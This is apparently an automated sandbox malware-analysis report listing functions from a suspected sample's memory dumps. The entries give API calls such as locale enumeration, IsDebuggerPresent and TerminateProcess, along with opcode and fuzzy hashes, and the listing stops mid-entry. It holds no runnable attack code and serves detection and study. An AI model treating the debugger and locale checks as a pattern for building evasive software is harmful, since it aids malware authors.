Function 00418AA0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418AF4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418B3E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418C04

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: f1816648aebeeebacca9fd7fe28c938c6d8e1f470de11f1632453a587db05402
Instruction ID: 62e4f11421f62e9a021dd1c2b3578532f2af4b42d9ef0fa46f200eb611ea5353
Opcode Fuzzy Hash: f1816648aebeeebacca9fd7fe28c938c6d8e1f470de11f1632453a587db05402
Instruction Fuzzy Hash: B1616D7190160A9BDB249F24CD82BEB77A8EB44304F14416FED05C6685FB38E9C1DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 03658D07 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

Part of subcall function 03650FA7: _free.LIBCMT ref: 03651009
Part of subcall function 03650FA7: _free.LIBCMT ref: 0365103F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03658D5B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03658DA5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03658E6B

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 163e8c2dfb5651f08817accbc14f0b2dda96799be577697f4fb8924ad488c141
Instruction ID: ceae21d93dd5a38481c42f598b75fdb65f933929003fbe923143d2576bc68b4f
Opcode Fuzzy Hash: 163e8c2dfb5651f08817accbc14f0b2dda96799be577697f4fb8924ad488c141
Instruction Fuzzy Hash: 2B619E716502079BDB28DF24CE82BBAB3A9EF04340F1440B9FD05CBA94EB38D981CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C17B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C273
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C27D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C28A

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a5f54cfeaeccfd4bf6f99a4a380b47e36f71b40a132b6e028f20ecdba15165bb
Instruction ID: a6faa4bbbb88fb92f52c0fa55cdc40f7aa00e4f6132fc0460b89e5881ce57408
Opcode Fuzzy Hash: a5f54cfeaeccfd4bf6f99a4a380b47e36f71b40a132b6e028f20ecdba15165bb
Instruction Fuzzy Hash: 8031D4B4D012289BCB21DF65D8897CDBBB4BF08714F5042EAE40CA7291E7349F858F49

Uniqueness

Uniqueness Score: -1.00%

Function 0364C3E2 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0364C4DA
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0364C4E4
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0364C4F1

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d3ce0527382caf87a4183dbc95e1f4699e67cea7b1975356a88f3a13daa3af49
Instruction ID: 1305cb72dfb34a618a40ed987793c222ead3bce79003f5e37b5cdd653d58562d
Opcode Fuzzy Hash: d3ce0527382caf87a4183dbc95e1f4699e67cea7b1975356a88f3a13daa3af49
Instruction Fuzzy Hash: D531A475D01328ABCB21DF69D9887DDBBB8BF08314F5041EAE81DA7250E7709B858F49

Uniqueness

Uniqueness Score: -1.00%

Function 0364C8E8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0364C8E7,00000000,?,?,00000000,?,03651257), ref: 0364C90A
TerminateProcess.KERNEL32(00000000,?,0364C8E7,00000000,?,?,00000000,?,03651257), ref: 0364C911
ExitProcess.KERNEL32 ref: 0364C923

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction ID: ca934cfefbd63dfb416d69b8461602334278cef73ef5bc396c005cd820632278
Opcode Fuzzy Hash: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction Fuzzy Hash: 48E0B675801248BFCF11AB68DD19A983F6DFB44285F048428F8498A631DB39DE82CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA21 Relevance: 3.0, APIs: 2, Instructions: 34timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0040CA34
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CA65

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 402b09224e765d9c673da96c5e2a658b9df076d986dd95d77c69bcc386cff3ad
Instruction ID: 0e7b9b1a7ad9db58c854e3c05b3852f61de941fb3dcead200a35e6012f668bef
Opcode Fuzzy Hash: 402b09224e765d9c673da96c5e2a658b9df076d986dd95d77c69bcc386cff3ad
Instruction Fuzzy Hash: 32F0F630A10208FBDB04DF64CC85BAD7AA8FB40329F20876AA502E22C0D6789A008B59

Uniqueness

Uniqueness Score: -1.00%

Function 00413464 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,0041345F,?,?,?,?,?,?,00000000), ref: 00413691

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction ID: 6ec3c976dce2682dd88875b4e128dc3c32af3424619db8197fd5d39c2f428c0e
Opcode Fuzzy Hash: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction Fuzzy Hash: 05B16E71210604DFD715CF28C48ABA57BE1FF05365F258659E8AACF3A1C339EA82CB44

Uniqueness

Uniqueness Score: -1.00%

Function 036536CB Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,036536C6,?,?,?,?,?,?,00000000), ref: 036538F8

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction ID: 8438463366d4890424fd2a8c1d81e9135941ddc7f34ffabe6a95bedb70654c64
Opcode Fuzzy Hash: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction Fuzzy Hash: 24B14E79610605DFD719CF18C58AB64BBA0FF457A4F298668F899CF3A1C335E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00408873 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00408889

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 04d4c15717e0eb0a9da5fd3b40b00c7a7a9904e6caa8d1284099983198fdd583
Instruction ID: bc312be223815807eab5e56163a5e2c6ed615bce974a54a63d32a9d4517a2c7b
Opcode Fuzzy Hash: 04d4c15717e0eb0a9da5fd3b40b00c7a7a9904e6caa8d1284099983198fdd583
Instruction Fuzzy Hash: C45169B1A01306CBDB28CF55D981BAABBF0FB48354F24843ED851EB390D7789941CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041583F Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c0efd6976f69dccf5a19aa072ce19d03e4670f2ed5c6f6e74fd8719de51ea7
Instruction ID: 2556ad762334f2a53854677566cfdfbe68a03fc908683008addb2f89643e6a32
Opcode Fuzzy Hash: 58c0efd6976f69dccf5a19aa072ce19d03e4670f2ed5c6f6e74fd8719de51ea7
Instruction Fuzzy Hash: 794196B1804618EEDB20DF69CC89AEAB7B9EF85304F1442DEE45D93211DA389E848F54

Uniqueness

Uniqueness Score: -1.00%

Function 03655AA6 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c0efd6976f69dccf5a19aa072ce19d03e4670f2ed5c6f6e74fd8719de51ea7
Instruction ID: cdcf62a1a011e3e21cd4340f4a221eea9030dcf7c52e75f742c19daf90b9afc5
Opcode Fuzzy Hash: 58c0efd6976f69dccf5a19aa072ce19d03e4670f2ed5c6f6e74fd8719de51ea7
Instruction Fuzzy Hash: F34196B5C04219AFDF20DF69CD8CAEAB7B9AF45200F1441EDE95E97200D6349E848F54

Uniqueness

Uniqueness Score: -1.00%

Function 00418CF3 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418D47

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 4a26e9cc83b0c5b7c0cae7737812cc2a61a03380ce254b0199f7d4368ed217dd
Instruction ID: ce22171d55e0af017fb17ca71511384353f174c05c1c03d6f451f39d0992cc54
Opcode Fuzzy Hash: 4a26e9cc83b0c5b7c0cae7737812cc2a61a03380ce254b0199f7d4368ed217dd
Instruction Fuzzy Hash: 80218372610206ABDB289F25EC41AFB77A8EF54314F10007FFD05D6281EF78ED818659

Uniqueness

Uniqueness Score: -1.00%

Function 03658F5A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

Part of subcall function 03650FA7: _free.LIBCMT ref: 03651009
Part of subcall function 03650FA7: _free.LIBCMT ref: 0365103F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03658FAE

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 5bc436174cc0e3a881d60d03eb371d5cf67ba4087f83f3c4aef7badf7c865cd7
Instruction ID: 2e9a816003f66355a7919071d9b7e908895d3e7bd13fb92bccfb241b725ee3d1
Opcode Fuzzy Hash: 5bc436174cc0e3a881d60d03eb371d5cf67ba4087f83f3c4aef7badf7c865cd7
Instruction Fuzzy Hash: 5C21AF72611206ABDB28DF25CD41ABA73ECEB45714F1400BEFE06CA250EB34E9459754

Uniqueness

Uniqueness Score: -1.00%

Function 0041897A Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418AA0,00000001,00000000,?,-00000050,?,004190CE,00000000,?,?,?,00000055,?), ref: 004189EC

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction ID: b17a39ce31c45acbe1e2818b22c08fed44677eae2b242624d171db0069602395
Opcode Fuzzy Hash: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction Fuzzy Hash: 6911E5766107019FDB189F39D8916FBBB91FF80358B18442EE94787B40DB75B982CB44

Uniqueness

Uniqueness Score: -1.00%

Function 03658BE1 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

EnumSystemLocalesW.KERNEL32(00418AA0,00000001,00000000,?,-00000050,?,03659335,00000000,?,?,?,00000055,?), ref: 03658C53

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction ID: 43abb52385c53d5bfdc3c49dac0dbbbc27eb70b08ef04eccd96e1eb2029aab65
Opcode Fuzzy Hash: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction Fuzzy Hash: D511C23A2007059FDB18DF39C9916BAB7A6FF84369B18443DE9868BF40D771A542C740

Uniqueness

Uniqueness Score: -1.00%

Function 00418F1F Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00418CBC,00000000,00000000,?), ref: 00418F4B

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction ID: 0926ee73390869665b5f2bb74d6bf307d48cedc2f3589178bc3eb242e6ba615c
Opcode Fuzzy Hash: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction Fuzzy Hash: 95F0F436B40115BBDB285B61C805BFB7769EB40358F1C442EEC06A3280EE78FE82C694

Uniqueness

Uniqueness Score: -1.00%

Function 03659186 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,03658F23,00000000,00000000,?), ref: 036591B2

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction ID: 7584432fa8616403c233a44b609b8020ef09dfc8f6ada8a6149a30edbed4041c
Opcode Fuzzy Hash: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction Fuzzy Hash: A1F0F936A10222FBDB34D7248E09ABABF98DB40758F180439FC02E3640DB34FA41C594

Uniqueness

Uniqueness Score: -1.00%

Function 00418A15 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418CF3,00000001,00000003,?,-00000050,?,00419092,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00418A5F

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction ID: 478162f42851c0ca8c2573bd03bd8f545336c01413021e0a340656d178cafc13
Opcode Fuzzy Hash: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction Fuzzy Hash: 7EF0C2362003046FDB249F39D881ABA7B95EF807A8F15442EF9458B690DBB5AD81C658

Uniqueness

Uniqueness Score: -1.00%

Function 03658C7C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

EnumSystemLocalesW.KERNEL32(00418CF3,00000001,00000003,?,-00000050,?,036592F9,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 03658CC6

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction ID: 49c0a243255ff9860ad40db4e6ef0dcb0e84732f599b5fd19c0e15011f9636ff
Opcode Fuzzy Hash: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction Fuzzy Hash: 9BF046363013046FDB14AF39CD80A7A7BD5FF81328F18407CFE018BA80D6B1A802C654

Uniqueness

Uniqueness Score: -1.00%

Function 004112A2 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040CBD2: EnterCriticalSection.KERNEL32(?,?,0040DD30,00000000,004291C0,0000000C,0040DCF7,?,?,00411231,?,?,00410EE2,00000001,00000364,00000008), ref: 0040CBE1

EnumSystemLocalesW.KERNEL32(00411295,00000001,00429320,0000000C,004116C0,00000000), ref: 004112DA

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction ID: 2fad073ecbef307a0d6f111d51cdaffc79e950b14030b6703a22260b0b619bdf
Opcode Fuzzy Hash: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction Fuzzy Hash: 1EF03C76B40254EFD710EF58E842B9D77F0EB44724F10816FE914AB2E0CB7959458B49

Uniqueness

Uniqueness Score: -1.00%

Function 03651509 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0364CE39: RtlEnterCriticalSection.NTDLL(?), ref: 0364CE48

EnumSystemLocalesW.KERNEL32(00411295,00000001,00429320,0000000C,03651927,00000000), ref: 03651541

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction ID: 156a3ba5f5a65ec51525e17554e1017fbe35f07684e0b8451497dde9a9529b6c
Opcode Fuzzy Hash: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction Fuzzy Hash: 97F037B6E40314EFD710EF98E841B9D77E0EB09761F10802BE9149B3A0CB7959458B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041892F Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418888,00000001,00000003,?,?,004190F0,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00418966

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction ID: 434bd90f9414b98808150305246e1d0cb3661f0e8a735056172e9d40366ebd18
Opcode Fuzzy Hash: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction Fuzzy Hash: 66F0553A30020457CB04AF35E8056BBBF90EFC2760B0A405EFA098B650CA799C82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03658B96 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

EnumSystemLocalesW.KERNEL32(00418888,00000001,00000003,?,?,03659357,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 03658BCD

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction ID: 8e4052998e962ea52d1050683e6c140397b449a09c19be9ea72f6f3809f49de4
Opcode Fuzzy Hash: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction Fuzzy Hash: E2F0203A30020867CB04AF35DD04AAA7BA8EBC2720F0A40A8FE058B640C6759842C790

Uniqueness

Uniqueness Score: -1.00%

Function 004117C4 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

